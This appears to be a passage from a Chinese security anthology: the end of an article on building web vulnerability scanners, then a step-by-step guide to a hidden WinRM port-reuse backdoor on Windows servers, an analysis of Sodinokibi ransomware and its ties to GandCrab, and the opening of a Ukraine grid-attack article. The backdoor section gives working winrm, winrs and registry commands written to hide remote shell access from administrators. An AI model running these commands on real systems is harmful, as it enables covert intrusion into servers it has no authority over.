2. 检查一下有没有相关 cache，如果有 cache那么直接加载执行 cache，然后结束

3. 使用 token_get_all获取所有 token

4. 遍历每一个 token，对自己感兴趣的函数或者语句使用自己定义的函数进行 wrap并替换

5. 将替换后的内容保存到 cache中并使用 eval执行

6. __halt_compiler中断编译

举个具体的例子：
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<?php

$link = NULL;

$sql = "select * from user where user_id=".$_GET["id"];

mysqli_prepare($link, $sql);

经过 acu_phpaspect.php转换之后：

<?php

$link = NULL;

$sql = "select * from user where user_id=".$_GET[_AAS91("hello.php", 4, "$_GET", "id")];

_AAS86("hello.php",6,"mysqli_prepare",Array($link, $sql));

整个过程简单粗暴有效，这样做的优点在于：

实现简单，只需要编写 PHP即可

安装简单，无需安装扩展，只需修改配置文件可以

兼容性强，比较容易兼容性各种环境，各种版本 PHP

如果有意向去做 IAST或者想做类似我的 prvd项目，但又不太喜欢写 PHP扩展，那么我强烈建议

你完整的看一遍 PHP版本 AcuSensor的实现，如果对自己实现的检测逻辑效率比较自信的话，甚至

可以基于这个原理直接实现一个 PHP版本的 RASP项目。

16.5 0x04限速

在Web漏洞扫描器中，无论作为乙方的商业产品、甲方的自研产品，限速都是一个至关重要的功能，

甚至可以说如果你的扫描器没有限速功能，那压根就不能上线使用。接下来我们将介绍一下在扫描器

中限速的几种方法。

代理

使用代理做限速功能，将所有执行扫描任务的 worker的测试流量全转发到 proxy服务器上：
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由 proxy服务器统一调度发送测试请求频率，直接使用 proxy方案优点是可以兼容之前没做限速功

能的扫描器，缺点是所有基于 time based的检测均无效 (当然也可以让 proxy返回真正的响应时间来进

行判断，不过仍需要修改检测模块)，也不允许在检测模块中加入超时设置。

双重队列

另外一种方法是使用双重队列实现限速功能，流程图如下：

1. worker1从队列中取到名为 target1的任务

2. worker1从 target1队列中取出和 target1相关的任务

3. 默认单并发执行和 target1相关任务，根据设置的 QPS限制，主动 sleep或者增加并发

这种方案的缺点是扫描器设计之初的时候就得使用这种方法，优点是每个并发可以稳定的和远程

服务器保持链接，也不影响扫描功能。
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16.6 0x05漏洞检测

实际上这一节并不会讲具体某个漏洞检测方法，只是简单谈一下漏扫模块每个阶段该干的事情。

项目之初，没有相关积累，那么可以选择看一下 AWVS的检测代码，虽然说网上公开的是 10.5的

插件代码，但其实从 8.0到 11的插件代码和 10.5的也差不多，无非新增检测模块，修复误漏报的情

况，也可以多看看 SQLMap代码，看看检测逻辑，但是千万不要学习它的代码风格。从这些代码中可

以学习到非常多的小技巧，比如动态页面检测，识别 404页面等。看代码很容易理解相关的逻辑，但

我们需要去理解为什么代码这样处理，历史背景是什么，所以多用 git blame。

到了中期，需要提升漏洞检测的精准度，漏洞检测的精准度是建立在各种 bad case上，误报的 case

比较容易收集和解决，漏报的 case就需要其他资源来配合。作为甲方如果有漏洞收集平台，那么可以

结合白帽子以及自己部门渗透团队提交的漏洞去优化漏报情况。如果扫描器是自己的一个开源项目的

话，那么就必须适当的推广自己的项目，让更多的人去使用、反馈，然后才能继续完善项目，从而继

续推广自己的项目，这是一个循环的过程。总而言之，提升漏洞检测的精准度需要两个条件，1. bad

case，2. 维护精力。

到了后期，各种常规的漏洞检测模块已经实现完成，也有精力持续提升检测精准度，日常漏洞 PoC

也有人员进行补充。那么事情就结束了么？不，依旧有很多事情我们可以去做，扫描器的主要目标是

在不影响业务的情况下，不择手段的发现漏洞，所以除了常规的资产收集方式之外，我们还可以从公

司内部各处获取资产相关的数据，比方说从 HIDS中获取所有的端口数据、系统数据，从流量中或业

务方日志中获取 url相关数据等。当然除了完善资产收集这块，还有辅助提升检测效果的事情，比如说

上面提到的 AcuSensor，这部分事情可以结合公司内部的 RASP做到同样效果，还有分析 access log、

数据库 log等事情。总的来说，做漏扫没有什么条条框框限制，只要能发现漏洞就行。

以上都是和技术相关的事情，做漏扫需要处理的事情也不仅仅只有技术，还需要去搞定详细可操作

的漏洞描述及其解决方案，汇报可量化的指标数据，最重要的是拥有有理有据、令人信服的甩锅技巧。

16.7 0x06总结

以上即是我认为在扫描器中比较有用且能够公开的小技巧，希望能够对你有所帮助。

另外如果你对 漏洞扫描或者 IoT 自动化安全产品 感兴趣，并愿意加入我们，欢迎简历投递

fate0@fatezero.org

小米安全中心：https://sec.xiaomi.com/MiSRC

MiSRC欢迎更多热爱安全、关注小米产品的安全专家和安全团队加入，与我们共同为国内外数亿

小米用户的在线安全保驾护航。小米始终将安全放置第一位，我们不断的收集各种安全漏洞，安全情

报，以及加强业内合作，共建安全生态。

关于作者

Fate0，小米高级研究员，安全研发技术团队负责人，扫描器技术负责人，MiEye技术负责人。在扫描

器方向有着深入的研究和贡献，多次发表文章《爬虫基础篇 [Web漏洞扫描器]》《爬虫 JavaScript篇

[Web漏洞扫描器]》《爬虫调度篇 [Web漏洞扫描器]》等，均获得高度好评。
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微信公众号二维码

欢迎关注小米安全，学习交流安全知识
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一条命令实现端口复用后门

作者：Twi1ight@孟极实验室

来源：https://mp.weixin.qq.com/s/HDZUsTbffeGhgwu1FOWQNg

说到端口复用，大部分人第一反应肯定是想到内核驱动，需要对网络接口进行一些高大上的操作

才能实现。但只要合理利用操作系统提供的功能，就能以简单的方式实现这一目标，本文将公布一种

基于内置系统服务的端口复用后门方法。

对于不想看原理，只关心如何使用的读者可以直接跳到 “0x02. 后门配置’’。

17.1 0x01. 基本原理介绍

该后门的基本原理是使用Windows的远程管理管理服务WinRM，组合 HTTP.sys驱动自带的端口复用

功能，一起实现正向的端口复用后门。

WinRM服务

WinRM全称是Windows Remote Management，是微软服务器硬件管理功能的一部分，能够对本地或远

程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统，获得一个类似 Telnet

的交互式命令行 shell，而底层通讯协议使用的是 HTTP。

HTTP.sys驱动

HTTP.sys驱动是 IIS的主要组成部分，主要负责 HTTP协议相关的处理，它有一个重要的功能叫 Port

Sharing，即端口共享。所有基于 HTTP.sys驱动的 HTTP应用可以共享同一个端口，只需要各自注册

的 url前缀不一样即可。

使用 netsh http show servicestate命令可以查看所有在 HTTP.sys上注册过的 url前缀。

实际上，WinRM就是在 HTTP.sys上注册了 wsman的 URL前缀，默认监听端口 5985。这点从微软

公布的WinRM的架构图也可以看出来。
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因此，在安装了 IIS的边界Windows服务器上，开启WinRM服务后修改默认 listener端口为 80或

新增一个 80端口的 listener即可实现端口复用，可以直接通过Web端口登录Windows服务器。

17.2 0x02. 后门配置

开启 WinRM服务

在Windows 2012以上的服务器操作系统中，WinRM服务默认启动并监听了 5985端口，可以省略这

一步。

对于 Windows 2008来说，需要使用命令来启动 WinRM服务，快速配置和启动的命令是 winrm

quickconfig -q，这条命令运行后会自动添加防火墙例外规则，放行 5985端口。

新增 80端口 Listener

对于原本就开放了WinRM服务的机器来讲，需要保留原本的 5985端口 listener，同时需要新增一个 80

端口的 listener，这样既能保证原来的 5985端口管理员可以使用，我们也能通过 80端口连接WinRM。

使用下面这条命令即可新增一个 80端口的 listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

对于安装Windows 2012及以上版本操作系统的服务器来讲，只需要这一条命令即可实现端口复用。
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这种情况下，老的 5985端口 listener还保留着
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修改 WinRM端口

在Windows 2008上面如果原本没有开启WinRM服务，那么需要把默认的 5985端口修改成 web服务

端口 80，否则管理员上来看到一个 5985端口就可能起疑心。

通过下面这条命令即可修改端口为 80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

这种情况下，管理员查看端口也看不到 5985开放，只开放 80端口。
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经过配置之后，WinRM已经在 80端口上监听了一个 listener，与此同时，IIS的 web服务也能完全

正常运行。
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17.3 0x03. 后门连接和使用

本地配置

本地需要连接WinRM服务时，首先也需要配置启动WinRM服务，然后需要设置信任连接的主机，执

行以下两条命令即可。

winrm quickconfig -q

winrm set winrm/config/Client @{TrustedHosts="*"}

连接使用

使用 winrs命令即可连接远程WinRM服务执行命令，并返回结果

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami

上述命令会在远程机器上执行 whoami命令，获取结果后直接退出。

将 whoami命令换成 cmd即可获取一个交互式的 shell

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd
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UAC问题

WinRM服务也是受 UAC影响的，所以本地管理员用户组里面只有 administrator可以登录，其他管理

员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM，需要修改注册表设

置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后，普通管理员登录后也是高权限。

Hash登录

系统自带的 winrs命令登录时需要使用明文账号密码，那很多场景下尤其是 windows 2012以后，经常

只能抓取到本地用户的 hash，无法轻易获得明文密码。因此需要实现一款支持使用 NTLM hash登录

的客户端，使用 python来实现不难。
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17.4 0x04. 结语

本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅，还存在很多细节问题没有涉及，

留待读者进行更深层次的研究。另外也在此抛出两个小问题，有兴趣的读者可以思考下：

1、在已有WinRM服务的情况下，对于非 80端口的 web服务要如何处理；

2、HTTPS连接的配置和使用。
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勒索软件 Sodinokibi运营组织的关联分析

作者：安天

来源：https://www.4hou.com/typ/18881.html

18.1 1、概述

2019年 5月，安天 CERT监测到了多起利用钓鱼邮件传播 Sodinokibi勒索软件的事件。Sodinokibi最

初由 Twitter账号为 Cyber Security（@GrujaRS）的独立安全研究员发现 [1]，而 Sodinokibi这个名称是

根据首次出现样本的版本信息中的文件名命名的。这种命名方式并不规范，但由于 Sodinokibi这个名

称已经被广泛使用了，因此安天 CERT也沿用这一名称。Sodinokibi从 2019年 4月 26日开始出现，其

传播方式主要为钓鱼邮件、RDP暴力破解和漏洞利用。

注：

著名安全研究员 Peter Szor著的《计算机病毒防范艺术》中曾明确 ‘‘要避免按照传统上或习惯上用

包含恶意软件文件名的名字进行命名’’。

安天 CERT分析人员通过代码、C2、邮件、漏洞利用等关联分析认为该勒索软件团伙是一个不断

套用、利用其他现有恶意工具作为攻击载体，传播勒索软件、挖矿木马、窃密程序，并在全球范围内

实施普遍性、非针对性勒索、挖矿、窃密行为的具有一定规模的黑产组织。该组织和 GandCrab组织

有着千丝万缕的关系，分析人员猜测 Sodinokibi和 GandCrab运营成员有重合部分，在 GandCrab组织

宣布停止运营之后，部分 GandCrab成员不愿收手，继续运营新修改的勒索软件 Sodinokibi。

经验证，安天智甲终端防御系统（英文简称 IEP，以下简称安天智甲）可实现对 Sodinokibi的有效

防御。

18.2 2、样本分析

18.2.1 2.1黑产组织伪装公安部发送钓鱼邮件传播 Sodinokibi勒索软件

2019年 5月，安天 CERT监测到多起伪造 ‘‘中华人民共和国公安部’’发送钓鱼邮件传播 Sodinokibi勒

索软件的攻击事件。该钓鱼邮件伪造邮件主题为 ‘‘警察議程’’，邮件内容称用户必须在 2019年 5月 23

日下午 3点向 ‘‘警察局’’报到，参与调查。邮件附件名为 ‘‘關於你案件的文件.rar’’。

图 2-1黑产组织伪装公安部发送钓鱼邮件传播 Sodinokibi勒索软件

黑产组织利用用户对邮件内容的恐惧和好奇心理，诱使用户下载附件并查看附件内容。附件解压

后是两个伪装成 doc文件的快捷方式，当用户查看伪造文件（实为快捷方式）时，便会运行快捷方式

指向的勒索软件 Sodinokibi，导致用户主机中文件被加密。勒索软件以隐藏的方式存储在该目录下，

若用户的系统未设置成显示隐藏文件，则并不会发现勒索软件文件。另外，隐藏的文件为双扩展名，

若用户系统设置为不显示扩展名，则不能发现该文件为 EXE可执行文件。

图 2-2伪装成 doc文件的快捷方式可执行文件实际是勒索软件
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Figure 18.1: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.2: 勒索软件 Sodinokibi运营组织的关联分析
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Figure 18.3: 勒索软件 Sodinokibi运营组织的关联分析

图 2-3被加密后的桌面

18.2.2 2.2黑产组织伪装 DHL快递公司发送钓鱼邮件传播 Sodinokibi勒索软件

2019年 6月初，安天 CERT监测到多起通过伪造 DHL邮件传播 Sodinokibi勒索软件的钓鱼邮件攻击

事件。DHL，即敦豪国际航空快递有限公司，是全球知名的邮递和物流集团 Deutsche Post DHL旗下

公司，业务遍布全球 220个国家和地区。该钓鱼邮件主题为 ‘‘您的包裹将无法按时交付’’，邮件内容

称因为受害者提供了不正确的海关申报数据，因此不能按时交付受害者的包裹，要求受害者点击邮件

中的链接，下载海关文件查看并签署。

2019年 5月，华为通过联邦快递（FedEx）发送的两份商业文件被拦截并送往美国孟菲斯的联邦快

递公司。在业内人士对联邦快递发出质疑后，联邦快递在 5月 28日发布了道歉微博。5月 22日，传

出 DHL停收华为货物的通知，5月 23日，DHL否认停运华为货物 [2]。在这个环境下，伪装成 DHL

的钓鱼邮件极有可能是在蹭该起事件的热点，利用该事件对大众造成的影响，诱导用户相信钓鱼邮件

的真实性，从而增加用户点击链接的可能性。

图 2-4伪造的 DHL的钓鱼邮件

邮件正文中的链接是一个使用 plip.io（短网址生成网站）生成的短网址，用户点击后会解析到另一

个网址，之后会跳转到最终恶意网站下载勒索软件。邮件正文中虽提到存档中的密码为 DHL，但该压

缩包不需要输入密码 “DHL’’便可以解压。

图 2-5点击邮件中链接后下载勒索文件

解压后的文件和伪造成 ‘‘中华人民共和国公安部’’的钓鱼邮件使用同样方式启动隐藏的可执行文

件，如图所示，该快捷方式运行后指向一个隐藏的双扩展名的可执行文件，实际为 Sodinokibi勒索软

件。

图 2-6压缩包中的快捷方式和勒索软件
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Figure 18.4: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.5: 勒索软件 Sodinokibi运营组织的关联分析
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Figure 18.6: 勒索软件 Sodinokibi运营组织的关联分析

安天 CERT分析人员发现，2019年 6月 5日上午邮件正文中链接下载的文件为繁体文件名，其构

造的快捷访问指向的文件和压缩包中的 EXE文件名不相同，因此运行快捷方式并不能执行勒索软件。

2019年 6月 5日下午，当分析人员再次分析邮件中链接时，发现已经替换了挂载的文件，新文件名

为 “customs declaration.pdf.exe’’，快捷方式也被重新构造了。此次由于快捷方式中路径的问题，导致

只有在Windows XP下运行快捷方式才可以启动勒索软件，而在Win 7和Win 10下并未启动成功。在

分析人员测试的其他压缩包中，运行快捷方式均可以启动 Sodinokibi勒索软件。从此次事件中可以看

出，Sodinokibi运营者在不断完善其恶意代码。

18.3 3、Sodinokibi勒索软件的主要传播方式

18.3.1 3.1利用钓鱼邮件传播

Sodinokibi多数通过钓鱼邮件传播，通常会使用类似下述表格中所罗列的邮件主题和附件名称进行传

播，还可以使用短网址进行跳转解析网址去下载勒索软件。

表 3 1邮件传播的主题与附件名称示例

18.3.2 3.2利用 RDP（远程桌面协议）传播

攻击者会使用扫描工具扫描 3389端口，对开启了 3389端口的主机进行 RDP暴力破解，破解成功后传

送勒索软件 Sodinokibi到主机上。
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Figure 18.7: 勒索软件 Sodinokibi运营组织的关联分析

18.3.3 3.3利用 WebLogic漏洞传播

攻击者利用 Oracle WebLogic Server中的一个反序列化漏洞（CVE-2019-2725）传播 Sodinokibi，该漏洞

允许攻击者获得对服务器的完全访问权限，攻击者在获取权限后植入勒索软件并运行。此漏洞于 2019

年 4月 26日被 Oracle修复。

该漏洞影响 Oracle WebLogic Server 10.3.6.0 和 12.1.3.0 版本，该漏洞的产生是由于负责处理

WebLogic Server的异步通信的 wls9_async_response.war包在特定条件下会产生逻辑错误，导致无法正

确处理 SOAP请求，从而使服务器容易受到反序列化漏洞的影响。攻击者构造恶意 SOAP消息附加在

HTTP请求中，即可以触发该漏洞，从而在WebLogic服务器中远程执行恶意代码。

18.4 4、Sodinokibi勒索软件详细分析

18.4.1 4.1样本标签

表 4 1 Sodinokibi样本

18.4.2 4.2勒索信息

Sodinokibi加密文件的后缀名是由数字和字母随机生成的，长度在 5到 10个字符之间。样本会使用后

缀名来生成勒索信，其名称为 [EXT]–readme.txt。在勒索信中，勒索者给用户提供了两种访问的网址

来供用户选择。

图 4-1勒索信
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Figure 18.8: 勒索软件 Sodinokibi运营组织的关联分析

按照勒索信中的提示解密文件。该网站需要提交勒索信中的 Key和加密后缀才可以访问。提交后

进入到解密界面，勒索者向受害者勒索价值 1300美元的比特币，若受害者不在 7天内支付则赎金价

格翻倍。为了向受害者展示其具有解密文件的能力，该页面还有一个试用解密功能，可以解密一个被

加密的图片文件。该页面可以让受害者与攻击者 ‘‘在线交流’’。

图 4-2倒计时和勒索金额

表 4 2部分比特币地址

18.4.3 4.3样本分析

样本运行流程如下图所示。

图 4-3 Sodinokibi样本运行流程图

4.3.1利用多种技术手段规避反病毒程序检测

该勒索软件通过加解密及字符串拼接的方式规避反病毒程序检测。其中，1、2、3是通过加解密进

行规避，第 4点是通过字符串拼接的方式进行规避。

1. 样本运行后会分配内存，将 PE文件解密到内存中，然后将其覆盖到源文件，再跳转到新的入口

点，开始执行新的 PE文件。

2. 根据硬编码在样本中的数据，解密出函数地址，避免使用的函数在导入表中出现被反病毒引擎

检测。

图 4-4获取程序运行所需函数

3. 使用 RC4算法和 Base64算法加密勒索信和操作中使用到的字符串信息。
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Figure 18.9: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.10: 勒索软件 Sodinokibi运营组织的关联分析
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Figure 18.11: 勒索软件 Sodinokibi运营组织的关联分析
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Figure 18.12: 勒索软件 Sodinokibi运营组织的关联分析

使用 RC4算法及密钥 “FtY68agD4aS3aoCz9KEnmCKPnLpMpgtZ’’解密出不加密名单、需要结束的

进程名、域名、Base64编码的勒索信以及壁纸文字内容。

表 4-3结束的进程名、数据回传域名和不加密的目录、后缀名、文件名

图 4-5 Base64编码的壁纸内容

样本硬编码了多个密钥，根据调用函数时设置的偏移获取不同的 RC4密钥进行解密操作。互斥量

及注册表等字符串都是使用了不同的 RC4密钥进行解密获得的。

4. 样本硬编码了 1079个域名以及多个字符用于拼接 URL，防止被反病毒程序通过 URL或域名进

行检测。分析人员抽样访问了几个域名，发现都是真实存在的网站，这些网站只是被 Sodinokibi

运营者入侵并用于接收受害者数据。

图 4-6 1079个域名

4.3.2创建互斥量，确保只有一个实例运行

该互斥量是硬编码在样本中的，使用 RC4算法解密后获得。并非所有的 Sodinokibi样本都会创建

该互斥量（可能只是某一批创建同一互斥量），还有其他样本创建了互斥量 Global\D382D713-AA87-

457D-DDD3-C3DDD8DFBC96。

图 4-7创建互斥量

4.3.3检测系统语言版本，对指定的语言系统不进行加密

样本会获取系统键盘布局句柄，判断当前系统键盘和输入法（GetKeyboardLayoutList），若为表 4-4

中语言，则退出程序，不进行加密操作。
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Figure 18.13: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.14: 勒索软件 Sodinokibi运营组织的关联分析
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Figure 18.15: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.16: 勒索软件 Sodinokibi运营组织的关联分析
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图 4-8判断当前系统语言版本

表 4-4进行语言判断的 switch表

4.3.4删除卷影副本，禁用自动修复功能，防止用户恢复文件

样本在获取系统信息后，会删除卷影副本，使用 BCDEdit禁用系统的自动修复功能，防止用户通

过卷影副本恢复文件。

图 4-9删除卷影副本，禁用系统自动修复功能

4.3.5使用 Salsa20算法加密用户文件
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Figure 18.17: 勒索软件 Sodinokibi运营组织的关联分析

1. 样本生成 pk_key、sk_key和 0_key之后，创建注册表项 HKLM\SOFTWARE\recfg，如图 4-11所

示，将这些值存储在注册表中。在创建注册表项之前，样本会先进行查询，确认这些注册表项是

否存在，再决定是否进行数据生成。pk_key将会在 Salsa20算法进行密钥生成时使用。

图 4-10 pk_key、sk_key和 0_key生成方式

图 4-11保存后缀名和密钥信息

2. 样本会根据算法生成后缀名，后缀名由数字和字母组成，长度在 5到 10之间。后缀名同样会保

存在如图 4-11所示的注册表中。

图 4-12后缀名生成
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Figure 18.18: 勒索软件 Sodinokibi运营组织的关联分析
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3. 根据磁盘序列号、CPU信息以及 CRC32算法生成 UID，后 4个字节为磁盘序列号、前 4个字节

为 CRC32算法、CPU信息以及 CPU信息长度计算后的结果。该 UID用于拼接解密网址。

图 4-13 UID

4. 拼接勒索信，将加密后缀名 {EXT}、{UID}以及 Base64编码的 {KEY}替换成之前计算生成的

数据。

5. 每个文件夹下写入勒索信和 a73a6b0b.lock文件。

6. 遍历进程，根据硬编码的进程列表结束占用进程，防止由于文件占用而造成加密失败。

图 4-14根据进程列表结束进程

7. 使用 IOCP（Input/Output Completion Port，I/O完成端口）模型和 Salsa20算法加密文件。根据硬

编码的数据，对指定后缀名文件、指定文件以及目录不进行加密。

利用 pk_key生成 Salsa20密钥，利用图 4-10所示的生成数据的第一种方式 (*)生成 8字节数据用

来对密钥进行填充。每加密一个文件就生成一次 Salsa20密钥。
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图 4-15 Salsa20密钥生成

对文件内容加密完成后，样本会在文件末尾追加 0xE0字节的数据，0x58的 sk_key，0x58的 0_key，

0x16，0x8是通过图 4-10中数据生成的第一种方式 (*)生成的数据。其中 0x8为 Salsa20密钥的填充数

据。0x4的 CRC32(0x16字节数据)校验值，0x4的 0字节。数据追加成功后，拼接具有新后缀的文件

名，将 ‘‘加密后的数据’’和 ‘‘要追加的数据’’写入新文件中。

图 4-16文件后追加的数据

图 4-17加密数据并写入文件

4.3.6替换操作系统的桌面壁纸

样本会绘制壁纸，并在临时文件夹中生成 bmp 格式的文件，设置注册表项 HKCU\Control

Panel\Desktop\Wallpaper，将 bmp文件设置为壁纸。
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图 4-18替换的系统壁纸

图 4-19替换系统壁纸

4.3.7窃取用户系统信息回传至远程服务器

获取系统信息，获取顺序依次为用户名、主机名、工作组、语言、系统版本、磁盘信息、操作系统

位数。通过 HTTP协议将获取到的数据渗出到 C2服务器。通过访问如下拼接的 URL来传输数据。

表 4-5 URL拼接表

18.5 5、关联分析

从伪装成 DHL的钓鱼邮件中可以提取到表 5-1所示的信息。

表 5-1钓鱼邮件信息
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Figure 18.19: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.20: 勒索软件 Sodinokibi运营组织的关联分析
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18.5.1 5.1 URL情报分析——Sodinokibi运营者传播窃密工具 KPOT Stealer

通过安天威胁情报分析系统关联到 webex.today域名。攻击者利用 Powershell从该网站下载窃密木马家

族 KPOT Stealer。关联到的最新 KPOT Stealer样本（MD5：70CE22275834C1E34E6EE52AC8E5DF31）

会收集 Cookie信息、浏览器登录凭证、进程信息、已安装软件信息、系统信息、屏幕截图以及受害者

IP，并通过 HTTP POST方式回传窃密信息。

KPOT Stealer是一种窃密恶意软件，主要从用户Web浏览器，即时消息，电子邮件，VPN，RDP，

FTP，加密货币和游戏软件中窃取账户信息和其他数据。KPOT Stealer最早在 2018年 8月就出现在钓

鱼邮件活动和漏洞利用工具包（Fallout和 RIG）中了。

图 5-1时间分析

webex.today域名被 KPOT和 Sodinokibi共同使用。KPOT接收信息的域名 solar3080z.xyz创建时间

为 2019年 4月 27日，KPOT Stealer样本的时间戳为 2019年 5月 16日，而 webex.today域名的创建时

间为 2019年 4月 16日，可见该组织为了进行恶意活动而专门注册了新的域名，在近期同时进行勒索

软件和窃密木马的传播。

综上所述，分析人员猜测 Sodinokibi运营者购买了 KPOT Stealer工具，同时传播窃密与勒索软件，

通过窃密所得的数据来为勒索软件的传播作支撑。1079个域名、大量的收件人邮箱，Sodinokibi运营

者掌握着多个数据资源，这些都表明了 Sodinokibi背后是一个有规模的组织。

18.5.2 5.2 IP关联拓线——Sodinokibi运营者传播 Linux挖矿、后门木马

在安天 CERT监测到的多起安全事件中，部分 Sodinokibi样本从 188.166.74.下载。通过对 188.166.74.

进行关联，发现 GandCrabV5.2也曾经使用这个 IP作为下载地址，详见表 5-2。

表 5-2 188.166.74.218关联信息
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Figure 18.21: 勒索软件 Sodinokibi运营组织的关联分析

其中一个 Sodinokibi样本存在两个下载地址，188.166.74.和 45.55.211.。通过 45.55.211.*关联到了

GandCrab V4家族的另一个样本和 Linux系统下一些后门挖矿木马。

表 5-3关联到的样本信息

通过对样本的 IP 进行拓线，分析人员发现用来下载 Sodinokibi 的 IP 地址从 2018 年开始传播

GandCrab、Linux挖矿，2019年开始传播 Linux后门、Sodinokibi勒索软件。

18.5.3 5.3多方位对比——Sodinokibi和 GandCrab异曲同工

GandCrab运营者在 2019年 6月 1日宣布停止更新 GandCrab，声称正在关闭 GandCrab RaaS[3]，但是

网络上还有其他的类 GandCrab RaaS服务，如 Jokeroo RaaS。Jokeroo RaaS在早些时候伪造成 GandCrab

RaaS提供服务，不久之后就改名为 Jokeroo RaaS。虽然 Jokersoo声称自己是新的勒索软件，与GandCrab

没有关系，但是其提供的勒索软件与 GandCrab高度相似，甚至某一批勒索软件运行后生成的勒索

信和壁纸依旧是 GandCrabV5.3开头。Jokeroo RaaS是如何获取到 GandCrab的暂不做追踪，但是从该

RaaS存在的事情上可以发现，虽然 GandCrab RaaS停止运营，但是以 GandCrab为基底的变种依然会

活跃在网络上。
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Figure 18.22: 勒索软件 Sodinokibi运营组织的关联分析

本事件中的勒索软件使用的钓鱼邮件与 2019年初 GandCrab使用的钓鱼邮件内容相似，同时分析

人员在对勒索软件 Sodinokibi进行分析的过程中，发现其与 GandCrab有多处相似。

代码相似

注：

表 5-4中关于 GandCrab和 Sodinokibi的对比中，并非使用单一版本的 GandCrab进行对比。

表 5-4 GandCrab和 Sodinokibi代码信息对比

手法一致

GandCrab和 Sodinokibi在进行传播时都曾使用压缩包中包含快捷方式和 exe文件的方式，如表 5-5

所示。这二者的快捷方式中都包含主机名 win-0ev5o0is9i7，如表 5-6所示，说明这二者的快捷方式是

在同一台主机上生成的。

表 5-5勒索软件传播时压缩包中内容 **

同一机器产出，快捷方式生成时间分别为 5月 6日和 6月 5日

表 5-6 GandCrab和 Sodinokibi快捷方式对比
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5.4邮件广撒网—---非针对性攻击的黑产行动

从对大量 Sodinokibi的钓鱼邮件分析来看，邮件内容针对不同的国家使用不同的语言，而且使用

了多种邮件主题，利用大量垃圾邮件、社工方式来大范围撒网。其发件人邮箱大部分为 *@gmx.com

（全球著名免费邮箱网站），有的邮箱是真实存在的，有的则是伪造的。从收件人邮箱以及其他国家发

生的类似事件来看，Sodinokibi并未针对某一地区或公司亦或是某一领域，它所操作的，是以获利为

目的的大规模的勒索行动。
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图 5-2部分收件人邮箱

图 5-3构造的多种钓鱼邮件
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图 5-4整体关联图

18.5.4 5.5攻击时间分析

2019年 4月 30日，思科 Talos情报小组披露了通过WebLogic Server漏洞传播的 Sodinokibi勒索软件，

并提到攻击者在部署 Sodinokibi的同时也会部署 GandCrab V5.2[4]。分析人员对该报告中提到的样本

的时间戳以及 2019年 5月份通过钓鱼邮件传播的部分 Sodinokibi样本的时间戳进行对比，发现这些

样本的时间戳大都在 2018年期间。这说明这场勒索活动至少在 2018年就开始策划了。

表 5-7不同事件中 Sodinokibi样本事件戳
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18.5.5 5.6小结

通过对网络 IoC 部分进行关联，发现该组织不断使用开源程序、购买出售程序（KPOT 窃密木马、

Linux挖矿、Linux后门），不断套用、复用其他现有工具、开源程序作为攻击载体进行牟利。通过和

GandCrab的代码、手法、IP等进行对比分析发现 Sodinokibi和 GandCrab有着千丝万缕的联系，通过

大范围撒网的钓鱼邮件来看，该组织在全球范围实施勒索行为，不具备针对性攻击操作。

从本文 5.2小节中可知，188.166.74.下挂载 Sodinokibi和GandCrab V5.2，45.55.211.下挂载GandCrab

V4、Sodinokibi、Linux后门和挖矿木马，这些样本的编译时间从 2018年到 2019年都有。思科 Talos

情报小组在《Sodinokibi ransomware exploits WebLogic Server vulnerability》也提到了攻击者在部署

Sodinokibi的同时也部署了 GandCrab V5.2[4]。

通过 GandCrab团队的声明，可以得知即使受害者购买了密钥，被加密的数据也无法恢复，因此排

除 Sodinokibi可能是 GandCrab服务购买者的限时变现操作。

综上所述，猜测 Sodinokibi和 GandCrab运营成员有重合部分，部分 GandCrab成员不愿收手，继

续运营新修改的勒索软件 Sodinokibi。

图 5-5 GandCrab团队的声明（英文版）

18.6 6、总结

从针对 Sodinokibi勒索软件的整体分析关联来看，该勒索组织具有一定规模，且组内成员分工明确，

从投放载体到勒索收益形成一条完整的黑色产业链。从大量样本的时间戳来看，这场勒索行动至少在

2018年就开始策划了。该组织不仅投放勒索软件、而且还夹带着窃密木马、挖矿木马，即包含勒索、

窃取、挖矿等多种恶意行为。Sodinokibi并未针对某一地区或公司亦或是某一领域，它所操作的，是

以获利为目的的大规模的勒索行动。Sodinokibi组织和 GandCrab组织有着密切的关联，分析人员推测

Sodinokibi的运营团队可能包含 GandCrab组织的部分成员，现版本的 Sodinokibi更像是 GandCrab的

新变种，Sodinokibi的运营团队更像是 GandCrab组织的接班人。

大部分勒索软件仍然是使用钓鱼邮件和相应漏洞进行传播。因此，安天 CERT建议用户打好相应

漏洞补丁，不要随意打开邮件附件，并使用防护软件如安天智甲进行有效防护。
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Figure 18.23: 勒索软件 Sodinokibi运营组织的关联分析

Figure 18.24: 勒索软件 Sodinokibi运营组织的关联分析
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18.6.1 附录一：IoCs

18.6.2 附录二：参考资料

[1] Cyber Security@GrujaRs

https://twitter.com/grujars/status/1122031871033057280?lang=en

[2]如何看待网传联邦快递私自转运华为邮件，华为将审查与联邦快递合作关系一事？

https://www.zhihu.com/question/325807372

[3] GandCrab勒索病毒停止更新：运营商称赚够了退休的钱

https://www.freebuf.com/column/205082.html

[4] Sodinokibi ransomware exploits WebLogic Server vulnerability

https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html
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复盘网络战：乌克兰二次断电事件分析

作者：奇安信威胁情报中心

来源：https://ti.360.net/blog/articles/compound-network-warfare-analysis-of-the-second-power-outage-in-

ukraine/

乌克兰，位于欧洲东部，东接俄罗斯，西欧洲诸国相连。从地缘政治角度来看，这个 ‘‘桥梁国家’’，

不断受到俄罗斯与欧洲之间的权力争夺。从历史来看，显而易见，在经过两次大规模 ‘‘颜色革命’’后，

乌克兰经济元气大伤，沦为全欧最穷国。

